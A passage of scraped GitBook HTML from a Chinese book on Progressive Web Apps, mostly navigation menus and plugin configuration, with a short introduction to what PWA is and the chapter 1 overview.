href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第1章 PWA 介绍</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><b></b>&#x4EC0;&#x4E48;&#x662F; PWA</a></li></ul></div><a href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x4EC0;&#x4E48;&#x662F;-pwa\"><a name=\"&#x4EC0;&#x4E48;&#x662F;-pwa\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EC0;&#x4E48;&#x662F;-pwa\" class=\"plugin-anchor\" href=\"#&#x4EC0;&#x4E48;&#x662F;-pwa\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EC0;&#x4E48;&#x662F; PWA</h1>\n<p>&#x968F;&#x7740;&#x79FB;&#x52A8;&#x4E92;&#x8054;&#x7F51;&#x7684;&#x53D1;&#x5C55;&#xFF0C;Native App &#x5F00;&#x59CB;&#x5174;&#x8D77;&#xFF0C;&#x90A3;&#x4E48; Web App &#x843D;&#x4F0D;&#x6DD8;&#x6C70;&#x4E86;&#x5417;&#xFF1F;&#x5F88;&#x663E;&#x7136;&#x7B54;&#x6848;&#x662F;&#x6CA1;&#x6709;&#xFF0C;&#x5B83;&#x4F9D;&#x7136;&#x751F;&#x673A;&#x52C3;&#x52C3;&#xFF0C;&#x548C; Native App &#x4E92;&#x76F8;&#x4F9D;&#x5B58;&#xFF0C;&#x8FD8;&#x884D;&#x751F;&#x51FA;&#x5F88;&#x591A; Native App &#x548C; Web App &#x76F8;&#x7ED3;&#x5408;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x6BD4;&#x5982; Hybrid App&#xFF0C;React Native &#x7B49;&#xFF0C;Angular/ReactJS/Vue &#x4E5F;&#x90FD;&#x662F;&#x5728;&#x8FD9;&#x671F;&#x95F4;&#x624D;&#x53D1;&#x5C55;&#x8D77;&#x6765;&#x7684;&#x4F18;&#x79C0;&#x7684;&#x6846;&#x67B6;&#xFF0C;&#x53EF;&#x89C1;&#xFF0C;Web App &#x4ECD;&#x5728;&#x4E0D;&#x65AD;&#x8FDB;&#x5316;&#xFF0C;PWA&#xFF08;Progressive Web Apps&#xFF09;&#x5C31;&#x662F;&#x5728;&#x8FD9;&#x80CC;&#x666F;&#x4E0B;&#x8BDE;&#x751F;&#x7684;&#x3002;</p>\n<p>&#x672C;&#x4E66;&#x7B2C;&#x4E00;&#x7AE0;&#x4F1A;&#x7740;&#x91CD;&#x4ECB;&#x7ECD; PWA &#x7684;&#x57FA;&#x7840;&#x6982;&#x5FF5;&#xFF0C;&#x8BA9;&#x8BFB;&#x8005;&#x5BF9; PWA &#x6709;&#x4E2A;&#x5927;&#x81F4;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x540E;&#x7EED;&#x7AE0;&#x8282;&#x4F1A;&#x518D;&#x6DF1;&#x5165;&#x8BB2;&#x89E3;&#x3002;&#x672C;&#x7AE0;&#x4F1A;&#x63A2;&#x8BA8;&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0; PWA&#xFF0C;PWA &#x7684;&#x51FA;&#x73B0;&#x89E3;&#x51B3;&#x4E86;&#x54EA;&#x4E9B;&#x95EE;&#x9898;&#xFF0C;&#x7136;&#x540E;&#x518D;&#x770B; PWA &#x7684;&#x4E3B;&#x8981;&#x6280;&#x672F;&#xFF0C;&#x5E76;&#x4E14;&#x4F1A;&#x7ED3;&#x5408;&#x5B9E;&#x9645;&#x7684;&#x4F8B;&#x5B50;&#x8BA9;&#x8BFB;&#x8005;&#x80FD;&#x591F;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; PWA&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"./\" class=\"navigation navigation-prev \" aria-label=\"Previous page: HOME\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter01/1-how-was-pwa-born.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.1 为什么会出现 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第1章 PWA 介绍\",\"level\":\"1.2\",\"depth\":1,\"next\":{\"title\":\"1.1 为什么会出现 PWA\",\"level\":\"1.2.1\",\"depth\":2,\"path\":\"chapter01/1-how-was-pwa-born.md\",\"ref\":\"chapter01/1-how-was-pwa-born.md\",\"articles\":[]},\"previous\":{\"title\":\"HOME\",\"level\":\"1.1\",\"depth\":1,\"path\":\"README.md\",\"ref\":\"README.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01.md\",\"mtime\":\"2019-06-19T10:37:41.912Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter02/1-what-is-good-ux.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>2.1 什么是好的用户体验 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-design-and-tech.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter02.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.3.1\" data-path=\"1-what-is-good-ux.html\">\n            \n                <a href=\"1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"2-design-and-tech.html\">\n            \n                <a href=\"2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"3-app-shell.html\">\n            \n                <a href=\"3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"4-app-skeleton.html\">\n            \n                <a href=\"4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"5-responsive-design.html\">\n            \n                <a href=\"5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service 